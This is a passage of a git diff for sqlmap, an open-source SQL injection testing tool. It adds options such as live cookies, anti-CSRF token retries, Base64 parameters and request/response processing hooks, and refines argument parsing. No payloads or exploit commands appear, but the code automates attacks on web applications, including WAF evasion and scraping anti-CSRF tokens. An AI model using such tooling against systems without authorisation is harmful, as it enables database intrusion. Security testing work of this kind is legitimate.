from lib.core.exception import SqlmapConnectionException
|
||||||
|
from lib.core.exception import SqlmapSkipTargetException
|
||||||
from lib.core.exception import SqlmapThreadException
|
from lib.core.exception import SqlmapThreadException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
from lib.core.exception import SqlmapValueException
|
from lib.core.exception import SqlmapValueException
|
||||||
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
|||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
|
||||||
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, SqlmapUserQuitException):
|
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
|
||||||
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
||||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
||||||
|
|
||||||
|
|||||||
+49
-17
@@ -168,6 +168,9 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_argument("--cookie-del", dest="cookieDel",
|
request.add_argument("--cookie-del", dest="cookieDel",
|
||||||
help="Character used for splitting cookie values (e.g. ;)")
|
help="Character used for splitting cookie values (e.g. ;)")
|
||||||
|
|
||||||
|
request.add_argument("--live-cookies", dest="liveCookies",
|
||||||
|
help="Live cookies file used for loading up-to-date values")
|
||||||
|
|
||||||
request.add_argument("--load-cookies", dest="loadCookies",
|
request.add_argument("--load-cookies", dest="loadCookies",
|
||||||
help="File containing cookies in Netscape/wget format")
|
help="File containing cookies in Netscape/wget format")
|
||||||
|
|
||||||
@@ -267,6 +270,9 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_argument("--csrf-method", dest="csrfMethod",
|
request.add_argument("--csrf-method", dest="csrfMethod",
|
||||||
help="HTTP method to use during anti-CSRF token page visit")
|
help="HTTP method to use during anti-CSRF token page visit")
|
||||||
|
|
||||||
|
request.add_argument("--csrf-retries", dest="csrfRetries", type=int,
|
||||||
|
help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries)
|
||||||
|
|
||||||
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
|
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
|
||||||
help="Force usage of SSL/HTTPS")
|
help="Force usage of SSL/HTTPS")
|
||||||
|
|
||||||
@@ -616,6 +622,12 @@ def cmdLineParser(argv=None):
|
|||||||
general.add_argument("--answers", dest="answers",
|
general.add_argument("--answers", dest="answers",
|
||||||
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
|
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
|
||||||
|
|
||||||
|
general.add_argument("--base64", dest="base64Parameter",
|
||||||
|
help="Parameter(s) containing Base64 encoded data")
|
||||||
|
|
||||||
|
general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
|
||||||
|
help="Use URL and filename safe Base64 alphabet (RFC 4648)")
|
||||||
|
|
||||||
general.add_argument("--batch", dest="batch", action="store_true",
|
general.add_argument("--batch", dest="batch", action="store_true",
|
||||||
help="Never ask for user input, use the default behavior")
|
help="Never ask for user input, use the default behavior")
|
||||||
|
|
||||||
@@ -674,7 +686,10 @@ def cmdLineParser(argv=None):
|
|||||||
help="Parse and display DBMS error messages from responses")
|
help="Parse and display DBMS error messages from responses")
|
||||||
|
|
||||||
general.add_argument("--preprocess", dest="preprocess",
|
general.add_argument("--preprocess", dest="preprocess",
|
||||||
help="Use given script(s) for preprocessing of response data")
|
help="Use given script(s) for preprocessing (request)")
|
||||||
|
|
||||||
|
general.add_argument("--postprocess", dest="postprocess",
|
||||||
|
help="Use given script(s) for postprocessing (response)")
|
||||||
|
|
||||||
general.add_argument("--repair", dest="repair", action="store_true",
|
general.add_argument("--repair", dest="repair", action="store_true",
|
||||||
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
||||||
@@ -746,9 +761,6 @@ def cmdLineParser(argv=None):
|
|||||||
help="Simple wizard interface for beginner users")
|
help="Simple wizard interface for beginner users")
|
||||||
|
|
||||||
# Hidden and/or experimental options
|
# Hidden and/or experimental options
|
||||||
parser.add_argument("--base64", dest="base64Parameter",
|
|
||||||
help=SUPPRESS) # "Parameter(s) containing Base64 encoded values"
|
|
||||||
|
|
||||||
parser.add_argument("--crack", dest="hashFile",
|
parser.add_argument("--crack", dest="hashFile",
|
||||||
help=SUPPRESS) # "Load and crack hashes from a file (standalone)"
|
help=SUPPRESS) # "Load and crack hashes from a file (standalone)"
|
||||||
|
|
||||||
@@ -857,7 +869,7 @@ def cmdLineParser(argv=None):
|
|||||||
_ = []
|
_ = []
|
||||||
advancedHelp = True
|
advancedHelp = True
|
||||||
extraHeaders = []
|
extraHeaders = []
|
||||||
tamperIndex = None
|
auxIndexes = {}
|
||||||
|
|
||||||
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||||
for arg in argv:
|
for arg in argv:
|
||||||
@@ -916,18 +928,25 @@ def cmdLineParser(argv=None):
|
|||||||
except ValueError as ex:
|
except ValueError as ex:
|
||||||
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
||||||
|
|
||||||
|
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
||||||
|
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
||||||
|
|
||||||
for i in xrange(len(argv)):
|
for i in xrange(len(argv)):
|
||||||
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
# Reference: https://en.wiktionary.org/wiki/-
|
||||||
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
argv[i] = re.sub(u"\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i])
|
||||||
|
|
||||||
|
# Reference: https://unicode-table.com/en/sets/quotation-marks/
|
||||||
|
argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C")
|
||||||
|
|
||||||
if argv[i] == "-hh":
|
if argv[i] == "-hh":
|
||||||
argv[i] = "-h"
|
argv[i] = "-h"
|
||||||
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
|
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
|
||||||
argv[i] = "--url=%s" % argv[i]
|
argv[i] = "--url=%s" % argv[i]
|
||||||
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
||||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i])
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
|
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
|
||||||
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
|
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i])
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
elif re.search(r"\A-\w=.+", argv[i]):
|
elif re.search(r"\A-\w=.+", argv[i]):
|
||||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||||
@@ -939,17 +958,25 @@ def cmdLineParser(argv=None):
|
|||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i] in DEPRECATED_OPTIONS:
|
elif argv[i] in DEPRECATED_OPTIONS:
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i].startswith("--tamper"):
|
elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
|
||||||
if tamperIndex is None:
|
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
|
||||||
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
index = auxIndexes.get(key, None)
|
||||||
|
if index is None:
|
||||||
|
index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
||||||
|
auxIndexes[key] = index
|
||||||
else:
|
else:
|
||||||
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
delimiter = ','
|
||||||
|
argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i] == "-H":
|
elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
|
||||||
if i + 1 < len(argv):
|
if '=' in argv[i]:
|
||||||
|
extraHeaders.append(argv[i].split('=', 1)[1])
|
||||||
|
elif i + 1 < len(argv):
|
||||||
extraHeaders.append(argv[i + 1])
|
extraHeaders.append(argv[i + 1])
|
||||||
elif argv[i] == "--deps":
|
elif argv[i] == "--deps":
|
||||||
argv[i] = "--dependencies"
|
argv[i] = "--dependencies"
|
||||||
|
elif argv[i] == "--disable-colouring":
|
||||||
|
argv[i] = "--disable-coloring"
|
||||||
elif argv[i] == "-r":
|
elif argv[i] == "-r":
|
||||||
for j in xrange(i + 2, len(argv)):
|
for j in xrange(i + 2, len(argv)):
|
||||||
value = argv[j]
|
value = argv[j]
|
||||||
@@ -982,7 +1009,7 @@ def cmdLineParser(argv=None):
|
|||||||
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
||||||
try:
|
try:
|
||||||
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
|
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
|
||||||
conf.verbose = verbosity.count('v') + 1
|
conf.verbose = verbosity.count('v')
|
||||||
del argv[argv.index(verbosity)]
|
del argv[argv.index(verbosity)]
|
||||||
except (IndexError, ValueError):
|
except (IndexError, ValueError):
|
||||||
pass
|
pass
|
||||||
@@ -1011,7 +1038,12 @@ def cmdLineParser(argv=None):
|
|||||||
if args.dummy:
|
if args.dummy:
|
||||||
args.url = args.url or DUMMY_URL
|
args.url = args.url or DUMMY_URL
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
if hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
|
||||||
|
args.stdinPipe = iter(sys.stdin.readline, None)
|
||||||
|
else:
|
||||||
|
args.stdinPipe = None
|
||||||
|
|
||||||
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|||||||
@@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
|||||||
|
|
||||||
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
||||||
kb.pageEncoding = "utf-8"
|
kb.pageEncoding = "utf-8"
|
||||||
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
||||||
page = page[3:]
|
page = page[3:]
|
||||||
|
|
||||||
page = getUnicode(page, kb.pageEncoding)
|
page = getUnicode(page, kb.pageEncoding)
|
||||||
@@ -394,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
|
|||||||
if msg:
|
if msg:
|
||||||
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
|
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
|
||||||
|
|
||||||
if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
|
if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
|
||||||
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
|
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
|
||||||
|
|
||||||
identYwaf.non_blind.clear()
|
identYwaf.non_blind.clear()
|
||||||
|
|||||||
@@ -63,13 +63,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
|||||||
if any((conf.string, conf.notString, conf.regexp)):
|
if any((conf.string, conf.notString, conf.regexp)):
|
||||||
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
|
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
|
||||||
|
|
||||||
# String to match in page when the query is True and/or valid
|
# String to match in page when the query is True
|
||||||
if conf.string:
|
if conf.string:
|
||||||
return conf.string in rawResponse
|
return conf.string in rawResponse
|
||||||
|
|
||||||
# String to match in page when the query is False and/or invalid
|
# String to match in page when the query is False
|
||||||
if conf.notString:
|
if conf.notString:
|
||||||
return conf.notString not in rawResponse
|
if conf.notString in rawResponse:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
|
||||||
|
return None
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
# Regular expression to match in page when the query is True and/or valid
|
# Regular expression to match in page when the query is True and/or valid
|
||||||
if conf.regexp:
|
if conf.regexp:
|
||||||
|
|||||||
+98
-45
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
import binascii
|
import binascii
|
||||||
import logging
|
import logging
|
||||||
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
@@ -25,6 +26,7 @@ except ImportError:
|
|||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import asciifyUrl
|
from lib.core.common import asciifyUrl
|
||||||
from lib.core.common import calculateDeltaSeconds
|
from lib.core.common import calculateDeltaSeconds
|
||||||
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import checkSameHost
|
from lib.core.common import checkSameHost
|
||||||
from lib.core.common import chunkSplitPostData
|
from lib.core.common import chunkSplitPostData
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
@@ -83,9 +85,9 @@ from lib.core.enums import WEB_PLATFORM
|
|||||||
from lib.core.exception import SqlmapCompressionException
|
from lib.core.exception import SqlmapCompressionException
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.exception import SqlmapGenericException
|
from lib.core.exception import SqlmapGenericException
|
||||||
|
from lib.core.exception import SqlmapSkipTargetException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
from lib.core.exception import SqlmapTokenException
|
from lib.core.exception import SqlmapTokenException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
|
||||||
from lib.core.exception import SqlmapValueException
|
from lib.core.exception import SqlmapValueException
|
||||||
from lib.core.settings import ASTERISK_MARKER
|
from lib.core.settings import ASTERISK_MARKER
|
||||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||||
@@ -100,6 +102,7 @@ from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
|||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
||||||
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
||||||
|
from lib.core.settings import LIVE_COOKIES_TIMEOUT
|
||||||
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
||||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||||
@@ -292,6 +295,30 @@ class Connect(object):
|
|||||||
|
|
||||||
return page, headers, code
|
return page, headers, code
|
||||||
|
|
||||||
|
if conf.liveCookies:
|
||||||
|
with kb.locks.liveCookies:
|
||||||
|
if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
|
||||||
|
warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
|
||||||
|
dataToStdout(warnMsg)
|
||||||
|
|
||||||
|
valid = False
|
||||||
|
for _ in xrange(LIVE_COOKIES_TIMEOUT):
|
||||||
|
if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
|
||||||
|
valid = True
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
dataToStdout('.')
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
dataToStdout("\n")
|
||||||
|
|
||||||
|
if not valid:
|
||||||
|
errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies
|
||||||
|
raise SqlmapValueException(errMsg)
|
||||||
|
|
||||||
|
cookie = openFile(conf.liveCookies).read().strip()
|
||||||
|
cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie)
|
||||||
|
|
||||||
if multipart:
|
if multipart:
|
||||||
post = multipart
|
post = multipart
|
||||||
else:
|
else:
|
||||||
@@ -501,6 +528,16 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
return None, None, None
|
return None, None, None
|
||||||
|
|
||||||
|
for function in kb.preprocessFunctions:
|
||||||
|
try:
|
||||||
|
function(req)
|
||||||
|
except Exception as ex:
|
||||||
|
errMsg = "error occurred while running preprocess "
|
||||||
|
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
else:
|
||||||
|
post, headers = req.data, req.headers
|
||||||
|
|
||||||
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
|
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||||
|
|
||||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||||
@@ -539,7 +576,7 @@ class Connect(object):
|
|||||||
conn = _urllib.request.urlopen(req)
|
conn = _urllib.request.urlopen(req)
|
||||||
|
|
||||||
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
|
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
|
||||||
kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
|
kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
|
||||||
|
|
||||||
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
|
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
|
||||||
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
|
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
|
||||||
@@ -787,7 +824,7 @@ class Connect(object):
|
|||||||
kb.connErrorChoice = readInput(message, default='N', boolean=True)
|
kb.connErrorChoice = readInput(message, default='N', boolean=True)
|
||||||
|
|
||||||
if kb.connErrorChoice is False:
|
if kb.connErrorChoice is False:
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapSkipTargetException
|
||||||
|
|
||||||
if "forcibly closed" in tbMsg:
|
if "forcibly closed" in tbMsg:
|
||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
@@ -815,11 +852,11 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
page = getUnicode(page)
|
page = getUnicode(page)
|
||||||
|
|
||||||
for function in kb.preprocessFunctions:
|
for function in kb.postprocessFunctions:
|
||||||
try:
|
try:
|
||||||
page, responseHeaders, code = function(page, responseHeaders, code)
|
page, responseHeaders, code = function(page, responseHeaders, code)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
errMsg = "error occurred while running preprocess "
|
errMsg = "error occurred while running postprocess "
|
||||||
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
@@ -1045,6 +1082,8 @@ class Connect(object):
|
|||||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
|
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
|
||||||
|
|
||||||
if conf.csrfToken:
|
if conf.csrfToken:
|
||||||
|
token = AttribDict()
|
||||||
|
|
||||||
def _adjustParameter(paramString, parameter, newValue):
|
def _adjustParameter(paramString, parameter, newValue):
|
||||||
retVal = paramString
|
retVal = paramString
|
||||||
|
|
||||||
@@ -1061,65 +1100,78 @@ class Connect(object):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
token = AttribDict()
|
for attempt in xrange(conf.csrfRetries + 1):
|
||||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
if token:
|
||||||
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
break
|
||||||
|
|
||||||
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
if attempt > 0:
|
||||||
|
warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||||
|
warnMsg += ". sqlmap is going to retry the request"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if not match:
|
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||||
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
||||||
|
|
||||||
|
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
if not match:
|
if not match:
|
||||||
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
if not match:
|
if not match:
|
||||||
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
|
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
if not match:
|
if not match:
|
||||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
|
||||||
|
|
||||||
if match:
|
if not match:
|
||||||
token.name, token.value = match.group("name"), match.group("value")
|
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
|
if not match:
|
||||||
|
match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
|
|
||||||
if match:
|
if match:
|
||||||
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
token.name, token.value = match.group("name"), match.group("value")
|
||||||
|
|
||||||
if not token:
|
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
|
||||||
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
|
if match:
|
||||||
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
||||||
token.name = conf.csrfToken
|
|
||||||
token.value = page
|
|
||||||
|
|
||||||
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
|
|
||||||
for _ in conf.cj:
|
|
||||||
if re.search(conf.csrfToken, _.name, re.I):
|
|
||||||
token.name, token.value = _.name, _.value
|
|
||||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
|
||||||
if post:
|
|
||||||
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
|
||||||
elif get:
|
|
||||||
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
|
||||||
else:
|
|
||||||
get = "%s=%s" % (token.name, token.value)
|
|
||||||
break
|
|
||||||
|
|
||||||
if not token:
|
if not token:
|
||||||
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
|
||||||
